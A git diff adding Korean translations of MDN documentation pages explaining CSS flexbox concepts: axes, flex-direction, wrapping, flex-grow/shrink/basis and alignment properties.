+++ b/files/ko/web/css/css_flexible_box_layout/flexbox의_기본_개념/index.html
@@ -0,0 +1,236 @@
+---
+title: flexbox의 기본 개념
+slug: Web/CSS/CSS_Flexible_Box_Layout/Flexbox의_기본_개념
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">일명 flexbox라 불리는 Flexible Box module은 flexbox 인터페이스 내의 아이템 간 공간 배분과 강력한 정렬 기능을 제공하기 위한 1차원 레이아웃 모델 로 설계되었습니다. 이 글에서는 flexbox의 주요 기능에 대한 개요를 다룹니다. 더 자세한 내용은 가이드의 다른 글에서 탐구하게 될 것입니다.</p>
+
+<p>flexbox를 1차원이라 칭하는 것은, 레이아웃을 다룰 때 한 번에 하나의 차원(행이나 열)만을 다룬다는 뜻입니다. 이는 행과 열을 함께 조절하는 <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a>의 2차원 모델과는 대조됩니다.</p>
+
+<h2 id="flexbox의_두_개의_축">flexbox의 두 개의 축</h2>
+
+<p>flexbox를 다루려면 주축과 교차축이라는 두 개의 축에 대한 정의를 알아야 합니다. 주축은 {{cssxref("flex-direction")}} 속성을 사용하여 지정하며 교차축은 이에 수직인 축으로 결정됩니다. flexbox의 동작은 결국 이 두 개의 축에 대한 문제로 환원되기 때문에 이들이 어떻게 동작하는지 처음부터 이해하는 것이 중요합니다.</p>
+
+<h3 id="주축">주축</h3>
+
+<p>주축은 <code>flex-direction</code>에 의해 정의되며 4개의 값을 가질 수 있습니다:</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p><code>row</code> 혹은 <code>row-reverse</code>를 선택하면 주축은 <strong>인라인 방향</strong>으로 행을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to row the main axis runs along the row in the inline direction." src="https://mdn.mozillademos.org/files/15614/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p><code>column</code> 혹은 <code>column-reverse</code> 을 선택하면 주축은 페이지 상단에서 하단으로 <strong>블록 방향</strong>을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to column the main axis runs in the block direction." src="https://mdn.mozillademos.org/files/15615/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
+
+<h3 id="교차축">교차축</h3>
+
+<p>교차축은 주축에 수직하므로, 만약 <code>flex-direction</code>(주축)이 <code>row</code> 나 <code>row-reverse</code> 라면 교차축은 열 방향을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to row then the cross axis runs in the block direction." src="https://mdn.mozillademos.org/files/15616/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
+
+<p>주축이 <code>column</code> 혹은 <code>column-reverse</code> 라면 교차축은 행 방향을 따릅니다.</p>
+
+<p><img alt="If flex-direction is set to column then the cross axis runs in the inline direction." src="https://mdn.mozillademos.org/files/15617/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
+
+<p>flex 요소를 정렬하고 끝을 맞추(justify)려면 어느 축이 어느 방향인지 이해하는 것이 중요합니다; flexbox는 주축, 교차축을 따라 항목을 정렬하고 끝을 맞추는 각종 속성들을 적용하는 방식으로 동작합니다.</p>
+
+<h2 id="시작선과_끝선">시작선과 끝선</h2>
+
+<p>flexbox가 쓰기 방법(writing mode)을 가정하지 않는다는 것은 상당히 중요합니다. 과거의 CSS는 왼쪽에서 오른쪽으로 향하는 가로 방향의 쓰기 방법에 치우쳐 있었습니다. 하지만 현대의 레이아웃은 다양한 쓰기 방법을 포괄해야 하므로, 더이상 텍스트가 문서의 왼쪽 상단에서 시작해서 오른쪽으로 향한다고 가정하지 않습니다. 새 라인이 항상 아래에 쌓인다고 가정하지도 않습니다.</p>
+
+<p>다른 글에서 flexbox와 쓰기 방법 명세(writing mode spec.)가 어떤 관련이 있는지 알아볼 수 있습니다. 그 전에, 이 글에서 flex 요소의 정렬 방향에 "왼쪽, 오른쪽, 위, 아래"를  사용하지 않는 이유를 알 수 있었으면 합니다.</p>
+
+<p><code>flex-direction</code>이 <code>row</code>고 영어 문장을 문서에 쓰고 있다면, 주축의 시작선은 왼쪽 끝, 끝선은 오른쪽 끝이 될 것입니다.</p>
+
+<p><img alt="Working in English the start edge is on the left." src="https://mdn.mozillademos.org/files/15618/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>아랍어 문장을 쓰고 있다면, 주축의 시작선은 오른쪽 끝, 끝 선은 왼쪽 끝이 될 것입니다.</p>
+
+<p><img alt="The start edge in a RTL language is on the right." src="https://mdn.mozillademos.org/files/15619/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>영어와 아랍어는 모두 가로 쓰기를 채택하고 있으므로 두 예시에서 교차축의 시작선은 <strong>flex 컨테이너</strong>의 위 끝이며 끝선은 아래 끝입니다.</p>
+
+<p>조금만 지나면 왼쪽-오른쪽으로 생각하는 것보다 시작선-끝선으로 생각하는 것이 금새 자연스러워질 것입니다. 동일한 패턴을 따르는 CSS 그리드 레이아웃 같은 방법을 다룰 때도 쉽게 적응할 수 있을 것입니다.</p>
+
+<h2 id="flex_컨테이너">flex 컨테이너</h2>
+
+<p>문서의 영역 중에서 flexbox가 놓여있는 영역을 <strong>flex 컨테이너</strong>라고 부릅니다. flex 컨테이너를 생성하려면 영역 내의 컨테이너 요소의 {{cssxref("display")}} 값을 <code>flex</code> 혹은 <code>inline-flex</code>로 지정합니다. 이 값이 지정된 컨테이너의 일차 자식(direct children) 요소가 <strong>flex 항목</strong>이 됩니다. display 속성만 지정하여 flex 컨테이너를 생성하면 다른 flex 관련 속성들은 아래처럼 기본 값이 지정됩니다.</p>
+
+<ul>
+ <li>항목은 행으로 나열됩니다. (<code>flex-direction</code> 속성의 기본값은 <code>row</code>입니다).</li>
+ <li>항목은 주축의 시작 선에서 시작합니다.</li>
+ <li>항목은 주 차원 위에서 늘어나지는 않지만 줄어들 수 있습니다.</li>
+ <li>항목은 교차축의 크기를 채우기 위해 늘어납니다.</li>
+ <li>{{cssxref("flex-basis")}} 속성은 <code>auto</code>로 지정됩니다.</li>
+ <li>{{cssxref("flex-wrap")}} 속성은 <code>nowrap</code>으로 지정됩니다.</li>
+</ul>
+
+<p>이렇게되면 <strong>flex 항목</strong>들은 각 항목 별 내부 요소의 크기로 주축을 따라 정렬됩니다. 컨테이너의 크기보다 더 많은 항목이 있을 경우 행을 바꾸지 않고 주축 방향으로 흘러 넘치게 됩니다. 어떤 항목이 다른 항목보다 높이 값이 크다면 나머지 모든 항목들은 그에 맞게 교차축을 따라 늘어나게 됩니다.</p>
+
+<p>다음의 라이브 예시를 통해 어떻게 보여지는지 확인할 수 있습니다. flexbox의 초기 동작을 시험해보려면 항목을 추가하거나 수정해보시기 바랍니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 480)}} </p>
+
+<h3 id="flex-direction_지정">flex-direction 지정</h3>
+
+<p><strong>flex 컨테이너</strong>에 {{cssxref("flex-direction")}} 속성을 지정하면 flex 항목이 나열되는 방향을 변경할 수 있습니다. <code>flex-direction: row-reverse</code> 라고 지정하면 행으로 나열되는 것은 그대로지만 시작 선과 끝 선이 서로 바뀌게 됩니다.</p>
+
+<p><code>flex-direction</code>을 <code>column</code>으로 지정하면 주축이 변경되고 항목들은 열로 나열됩니다. <code>column-reverse</code>로 지정하면 그에 더해 시작 선과 끝 선이 서로 바뀌게 됩니다.</p>
+
+<p>다음의 라이브 예시는 <code>flex-direction</code>이 <code>row-reverse</code>로 지정되어 있습니다. <code>row</code>, <code>column</code>, <code>column-reverse</code>와 같은 값을 지정해서 어떻게 되는지 확인해보시기 바랍니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p>
+
+<h2 id="flex-wrap을_이용한_복수_행_flex_컨테이너_지정">flex-wrap을 이용한 복수 행 flex 컨테이너 지정</h2>
+
+<p>flexbox는 1차원 모델이지만 <strong>flex 항목</strong>이 여러 행에 나열되도록 할 수 있습니다. 그 경우 각 행이 새로운 <strong>flex 컨테이너</strong>라고 생각해야 합니다. 공간 배분은 해당 행에서만 이루어지며 다른 행은 영향을 받지 않습니다.</p>
+
+<p>항목이 여러 행에 나열되도록 하려면 {{cssxref("flex-wrap")}} 속성의 값을 <code>wrap</code>으로 지정합니다. 그러면 항목이 하나의 행에 들어가지 않을 정도로 클 경우 다른 행에 배치됩니다. 아래의 라이브 예시에 있는 <strong>flex 항목</strong>은 폭이 지정되어 있으며 항목들의 폭의 합은 <strong>flex 컨테이너</strong>에 들어가기에는 너무 넓습니다. <code>flex-wrap</code>속성이 <code>wrap</code>으로 지정되어 있으므로 항목은 여러 행에 나열됩니다. 초깃값과 동일한 <code>nowrap</code>을 지정하고 flex항목에 대한 확대/축소 방식을 별도로 지정하지 않으면 <strong>flex 항목</strong>들은 컨테이너의 폭에 맞게 줄어듭니다.  <code>nowrap</code>을 지정하면 항목이 전혀 줄어들 수 없거나 충분히 줄어들 수 없을 때 흘러넘치게 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}</p>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering Wrapping of Flex Items</a> 가이드에서 더 자세한 내용을 확인할 수 있습니다.</p>
+
+<h2 id="축약형_속성_flex-flow">축약형 속성 flex-flow</h2>
+
+<p><code>flex-direction</code> 속성과 <code>flex-wrap</code> 속성을 {{cssxref("flex-flow")}}라는 축약 속성으로 합칠 수 있습니다. 첫 번째 값은 <code>flex-direction</code>이고 두 번째 값은 <code>flex-wrap</code>입니다.</p>
+
+<p>다음의 라이브 예시에서 첫 번째 값을 <code>flex-direction</code>에 지정 가능한 값들(<code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>)로 바꿔보시기 바랍니다. 두 번째 값도 <code>wrap</code>이나 <code>nowrap</code>으로 바꿔보시기 바랍니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p>
+
+<h2 id="flex_항목에_지정_가능한_속성들">flex 항목에 지정 가능한 속성들</h2>
+
+<p><strong>flex 항목</strong>에 적용할 수 있는 속성은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+</ul>
+
+<p>이 글에서는 위의 속성들에 대해 간략하게 살펴보겠습니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of Flex Items on the Main Axis</a>에서 다룹니다.</p>
+
+<p>500 픽셀의 크기를 갖는 <strong>flex 컨테이너</strong> 내에 100 픽셀 크기의 자식 세 개가 존재할 때, <strong>사용가능한 공간 </strong>200 픽셀이 남게 됩니다. 기본적으로 flexbox는 이 공간을 마지막 자식 요소 다음에 빈공간으로 남겨둡니다.</p>
+
+<p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>위의 세 가지 속성을 변경한다는 것은 <strong>flex 항목</strong>에게 <strong>사용가능한 공간</strong>을 분배하는 방식을 변경하는 것입니다. <strong>사용가능한 공간 </strong>개념은 <strong>flex 항목</strong>을 정렬할 때 특히 중요합니다.</p>
+
+<h3 id="flex-basis_속성"><code>flex-basis</code> 속성</h3>
+
+<p><code>flex-basis</code> 속성은 항목의 크기를 결정합니다. 이 속성의 기본값은 <code>auto</code>이며, 이 경우 브라우저는 항목이 크기를 갖는지 확인합니다. 위의 사진 예시의 경우 항목의 크기가 100 픽셀이므로 flex-basis의 값으로 100 픽셀이 사용됩니다.</p>
+
+<p><strong>flex 항목</strong>에 크기가 지정되어 있지 않으면, <strong>flex 항목</strong>의 내용물 크기가 flex-basis 값으로 사용됩니다. 따라서 <strong>flex 컨테이너</strong>에서 <code>display: flex</code> 속성만을 지정하면 flex항목들이 각 내용물 크기만큼 공간을 차지하게 됩니다.</p>
+
+<h3 id="flex-grow_속성"><code>flex-grow</code> 속성</h3>
+
+<p><code>flex-grow</code>값을 양수로 지정하면<strong> flex 항목</strong>별로 주축 방향 크기가 <code>flex-basis</code> 값 이상으로 늘어날 수 있게 됩니다. 위의 사진 예시에서 모든 항목의 flex-grow 값을 1로 지정하면 사용가능한 공간은 각 항목에게 동일하게 분배되며, 각 항목은 주축을 따라 분배받은 값만큼 사이즈를 늘려 공간을 차지합니다.</p>
+
+<p>첫 항목의 <code>flex-grow</code> 값을 2로 지정하고 나머지 두 개의 항목을 1로 지정한다면 각 항목에 지정된 <code>flex-grow</code> 값의 비율에 따라 남은 공간이 분배됩니다. 각 항목의 <code>flex-grow</code> 비율이 2:1:1 이므로 첫 항목에게 100 픽셀, 두 번째와 세 번째 항목에게 50 픽셀씩 분배됩니다.</p>
+
+<h3 id="flex-shrink_속성"><code>flex-shrink</code> 속성</h3>
+
+<p><code>flex-grow</code> 속성이 주축에서 남는 공간을 항목들에게 분배하는 방법을 결정한다면 <code>flex-shrink</code> 속성은 주축의 공간이 부족할때 각 항목의 사이즈를 줄이는 방법을 정의합니다. 만약 <strong>flex 컨테이너</strong>가 <strong>flex 항목</strong>을 모두 포함할 만큼 넉넉한 공간을 갖고 있지 않고 <code>flex-shrink</code> 값이 양수이면 <strong>flex 항목</strong>은 flex-basis에 지정된 크기보다 작아집니다. 또한, <code>flex-grow</code> 속성과 마찬가지로 더 큰 <code>flex-shrink</code> 값을 갖는 항목의 사이즈가 더 빨리 줄어듭니다.</p>
+
+<p>항목의 최소 크기는 실제 축소량을 계산할 때 고려되기 때문에 flex-shrink 속성이 flex-grow 속성에 비해 덜 일관된 모습을 보여줄지도 모릅니다. <code>flex-shrink</code> 속성이 항목의 사이즈를 결정하는 알고리즘에 관해서는 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of Flex Items on the Main Axis</a>에서 자세히 살펴히보겠습니다.</p>
+
+<div class="note">
+<p><code>flex-grow</code> 와 <code>flex-shrink</code>의 값이 비율임을 유의하세요.  <strong>flex 항목</strong>의 flex 속성을 모두 <code>1 1 200px</code> 로 지정하고 한 항목만 크기가 늘어나는 비율을 타 항목의 두배로 하고 싶으면 해당 <strong>flex 항목</strong>의 flex 속성을 <code>2 1 200px</code>로 지정하면 되지만, flex 속성 값을 모두  <code>10 1 200px</code>로 지정하고 늘어나는 비율을 두 배로 하고 싶은 항목의 flex 속성 값만 <code>20 1 200px</code>로 지정해도 동일하게 동작합니다.</p>
+</div>
+
+<h3 id="축약형_속성_flex">축약형 속성 flex</h3>
+
+<p>보통은 <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code>  값을 각각 사용하지 않고 이 세 속성을 한번에 지정하는 {{cssxref("flex")}} 축약형을 많이 사용합니다. <code>flex</code> 축약형의 값은 <code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code> 순서로 지정됩니다.</p>
+
+<p>다음의 라이브 예시에서 flex 축약형의 값들을 조절하면서 시험해 볼 수 있습니다. 첫 값이 <code>flex-grow</code>를 지정하며,  이 첫 값을 양수로 하면 <strong>flex 항목</strong>이 넓어질 수 있습니다. 두 번째 값은 <code>flex-shrink</code> 를 지정하며 이 두 번째 값에 양수를 지정하면 <strong>flex 항목</strong>이 좁아질 수 있습니다. 세 번째 값은 <code>flex-basis</code>를 지정하며 이 값은 <strong>flex 항목</strong>이 넓어지거나 좁아질 때 고려하는 기준 값입니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 510)}}</p>
+
+<p>flex 축약형 표현에 사용할 수 있는 미리 정의된 축약 값들이 아래에 나열되어 있습니다. 이 값들 만으로도 대부분의 경우(use-case)에 대응할 수 있을 것 입니다.</p>
+
+<ul>
+ <li><code>flex: initial</code></li>
+ <li><code>flex: auto</code></li>
+ <li><code>flex: none</code></li>
+ <li><code>flex: &lt;positive-number&gt;</code></li>
+</ul>
+
+<p><strong>flex 항목</strong>을 <code>flex: initial</code>로 지정하면  <code>flex: 0 1 auto</code> 로 지정한 것과 동일하게 동작합니다. 이 경우, <strong>flex 항목</strong>들은  <code>flex-grow</code>가 0이므로  <code>flex-basis</code>값보다 커지지 않고  <code>flex-shrink</code>가 1이므로 <strong>flex 컨테이너</strong> 공간이 모자라면 크기가 줄어듭니다. 또, <code>flex-basis</code>가 <code>auto</code>이므로 <strong>flex 항목</strong>은 주축 방향으로 지정된 크기 또는 자기 내부 요소 크기 만큼 공간을 차지합니다.</p>
+
+<p><code>flex: auto</code> 로 지정하면 <code>flex: 1 1 auto</code>로 지정한 것과 동일하며, <code>flex:initial</code> 과는 주축 방향 여유 공간이 있을 때 <strong>flex 항목</strong>들이 늘어나서 주축 방향 여유 공간을 채우는 점만 다릅니다.</p>
+
+<p><code>flex: none</code>으로 지정하면 <code>flex: 0 0 auto</code>으로 지정한 것과 동일하며 <strong>flex 컨테이너</strong>의 크기 변화에도<strong> flex 항목</strong> 크기는 변하지 않고 <code>flex-basis</code>를 <code>auto</code>로 지정했을 때 정해지는 크기로 결정됩니다.  </p>
+
+<p>이 축약형은 더 축약해서 <code>flex: 1</code> 이나 <code>flex: 2</code>처럼 쓸수도 있는데, 이는 <code>flex-grow</code> 만 지정하고 나머지는 1 0으로 사용한다는 뜻이다. 따라서 <code>flex: 2</code>는 <code>flex: 2 1 0</code>와 동일하게 처리됩니다.</p>
+
+<p>다음 라이브 예제에서 이 축약 값들을 시험해 볼 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}</p>
+
+<h2 id="정렬_끝_맞추기(justification)_flex_항목간_여유_공간_분배">정렬, 끝 맞추기(justification), flex 항목간 여유 공간 분배</h2>
+
+<p>flexbox의 주 기능 중 하나는 (주축과 교차축으로 표현되는) <strong>flex 컨테이너</strong> 공간 안에 <strong>flex 항목</strong>들을 정렬하고 끝 마추며 여유 공간을 항목 간에 분배하는 것입니다. </p>
+
+<p>역주) 이 절의 내용은 편의상 <strong>flex 컨테이너</strong>의 flex-direction를 row로 가정하고 '행'과 '열'로 표기했습니다.</p>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>{{cssxref("align-items")}}는 <strong>flex 컨테이너</strong>에 지정하는 속성이며, 교차축을 따라 <strong>flex 항목</strong> 열을 정렬하는 방식을 지정합니다. </p>
+
+<p>이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 <code>stretch</code>이며 이 값을 지정하면 <strong>flex 항목</strong>의 높이는 <strong>flex 컨테이너</strong> 내 <strong>flex 항목</strong> 행의 최대 높이로 지정됩니다. 따라서, <strong>flex 항목</strong> 행이 하나 일 때는 <strong>flex 항목</strong>은 교차축 방향으로 <strong>flex 컨테이너</strong>를 가득 채우게 됩니다.</p>
+
+<p>이 속성을 <code>flex-start</code>로 지정하면<strong> flex 항목</strong>의 첫 열이 교차축 방향의 시작선에 정렬됩니다. <code>flex-end</code>로 지정하면 <strong>flex 항목</strong>의 첫 열이 교차축 방향의 끝선에 정렬됩니다. <code>center</code>로 지정하면 <strong>flex 항목</strong> 행에 배분된 공간의 가운데 라인에 정렬됩니다.</p>
+
+<p>다음 라이브 예제에서 이 값들을 시험해 볼 수 있습니다. - 이 시험을 위해 의도적으로 <strong>flex 컨테이너</strong>에 높이를 지정해 두었습니다.</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}</p>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>{{cssxref("justify-content")}} 속성은 주축을 따라 <strong>flex 항목</strong> 행을 정렬하는 방식을 지정합니다.</p>
+
+<p>이 속성의 (아무것도 지정하지 않았을 때 적용되는)초기 값은 <code>flex-start</code>이며 이 값을 지정하면 <strong>flex 항목</strong> 행 내의 항목들은 <strong>flex 컨테이너</strong>의 시작선에서 부터 정렬됩니다. <code>flex-end</code>로 지정하면 <strong>flex 항목</strong> 행의 마지막 항목이 <strong>flex 컨테이너</strong>의 끝선에서 정렬됩니다. <code>center</code>로 지정하면 <strong>flex 항목</strong>들이 <strong>flex 항목</strong> 행의 가운데 정렬됩니다.</p>
+
+<p><code>space-between</code>을 지정하면 주죽 방향 여유 공간을 <strong>flex 항목</strong> 사이의 공간에 균등 배분합니다. </p>
+
+<p><code>space-around</code>는 시작선 및 끝선과<strong> flex 항목</strong>간 공간도 균등 배분에 고려하므로 시작선 및 끝선과 <strong>flex 항목</strong> 간의 공간의 크기를 1로 배분한다면 <strong>flex 항목</strong> 사이의 공간은 2로 배분합니다. </p>
+
+<p><code>space-evenly</code>로 지정하면 여유 공간을 <strong>flex 항목</strong> 사이의 공간 및 시작선 및 끝선과 <strong>flex 항목</strong> 간의 공간에 모두 균등하게 배분합니다.</p>
+
+<p>다음 라이브 예제에서 <code>justify-content</code>에 지정할 수 있는 다음 값들을 시험해 볼 수 있습니다.</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>flex-start</code></li>
+ <li><code>flex-end</code></li>
+ <li><code>center</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+</ul>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}</p>
+
+<p>이 절에서 설명한 내용으로 대부분의 경우에 대응할 수 있지만,  <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning Items in a Flex Container</a> 에서 이 속성들을 더 자세히 살펴볼 것입니다.</p>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>Flexbox의 개요를 살펴보았습니다. 다음 글 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">how this specification relates to other parts of CSS</a>에서 이 규격이 다른 CSS 규격과 어떻게 연관되어 있는지 말씀드리겠습니다.</p>
diff --git a/files/ko/web/css/css_flexible_box_layout/index.html b/files/ko/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..d098a530b4
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,108 @@
+---
+title: CSS Flexible Box Layout
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>CSS Flexible Box Layout</strong>은 사용자 인터페이스 디자인과 단방향 레이아웃에 최적화된 <a href="/ko/docs/Web/CSS">CSS</a> 모듈입니다. 플렉스 레이아웃 모델에서는, 플렉스 컨테이너의 자식을 어떤 방향으로도 배치할 수 있으며, 자식의 크기도 유연하게("플렉시블") 빈 공간을 채우거나, 컨테이너를 넘어가지 않도록 줄어듭니다. 자식 간의 수평 및 수직 정렬 또한 쉽게 조작할 수 있습니다.</p>
+
+<h2 id="기본_예제">기본 예제</h2>
+
+<p>다음 예제의 컨테이너는 <code>display: flex</code>를 적용한 상태입니다. 따라서 컨테이너의 세 자식은 플렉스 항목이 됩니다. <code>justify-content</code>의 값은 <code>space-between</code>으로, 각 아이템을 주축(가로축)에 균일한 간격으로 배치합니다. 그래서 같은 양의 공간이 자식 사이에 균일하게 생기며 왼쪽과 오른쪽 아이템이 플렉스 컨테이너의 양 모서리에 붙어서 배치됩니다. 또한 <code>align-items</code>의 기본값인 <code>stretch</code>로 인해, 각 항목의 높이가 플렉스 컨테이너의 높이까지 늘어나서 세 자식 모두 제일 높이가 큰 항목과 같은 높이가 되는 것도 확인할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="정렬_속성">정렬 속성</h3>
+
+<p><code>align-content</code>, <code>align-self</code>, <code>align-items</code>, <code>justify-content</code> 속성은 플렉스박스 명세에서 처음 나왔지만, 지금은 박스 정렬 명세가 정의하며 플렉스박스 명세는 박스 정렬 명세를 참조하고 있습니다. 추가 정렬 속성도 박스 정렬 명세가 가지고 있습니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="용어">용어</h3>
+
+<div class="index">
+<ul>
+ <li>{{Glossary("Flexbox", "플렉스박스")}}</li>
+ <li>{{Glossary("Flex Container", "플렉스 컨테이너")}}</li>
+ <li>{{Glossary("Flex Item", "플렉스 항목")}}</li>
+ <li>{{Glossary("Main Axis", "주축")}}</li>
+ <li>{{Glossary("Cross Axis", "교차축")}}</li>
+ <li>{{Glossary("Flex", "플렉스")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Flexbox%EC%9D%98_%EA%B8%B0%EB%B3%B8_%EA%B0%9C%EB%85%90">플렉스박스의 기본 개념</a></dt>
+ <dd>플렉스박스의 기능 개요입니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">다른 레이아웃과 플렉스박스의 관계</a></dt>
+ <dd>플렉스박스와 다른 레이아웃 방법, 그리고 다른 CSS 명세가 가진 관계를 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">플렉스 컨테이너의 아이템 정렬하기</a></dt>
+ <dd>박스 정렬 속성이 플렉스박스에서 동작하는 방식을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">플렉스 아이템 배치하기</a></dt>
+ <dd>아이템의 순서와 방향을 바꾸는 여러 방법과, 이 때 발생할 수 있는 여러 문제를 다룹니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">플렉스 아이템의 주요 축 비율 조절하기</a></dt>
+ <dd><code>flex-grow</code>, <code>flex-shrink</code>, <code>flex-basis</code> 속성을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">플렉스 아이템 줄바꿈 마스터하기</a></dt>
+ <dd>여러 줄로 이뤄진 플렉스 컨테이너를 만드는 방법과, 컨테이너 아이템의 표시 방법 설정을 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">플렉스박스의 일반적인 용례</a></dt>
+ <dd>일반적인 플렉스박스 디자인 패턴입니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">플렉스박스의 하위 호환성</a></dt>
+ <dd>플렉스박스의 브라우저 상태, 상호 호환성 이슈와 함께 구형 브라우저와 이전 명세를 지원하는 방법을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_flexible_box_layout/가변상자의_대표적인_사용례/index.html b/files/ko/web/css/css_flexible_box_layout/가변상자의_대표적인_사용례/index.html
new file mode 100644
index 0000000000..a9f75246aa
--- /dev/null
+++ b/files/ko/web/css/css_flexible_box_layout/가변상자의_대표적인_사용례/index.html
@@ -0,0 +1,141 @@
+---
+title: 가변상자의 대표적인 사용례
+slug: Web/CSS/CSS_Flexible_Box_Layout/가변상자의_대표적인_사용례
+tags:
+  - 가변상자
+  - 씨에스에스
+  - 안내서
+  - 용례
+  - 패턴
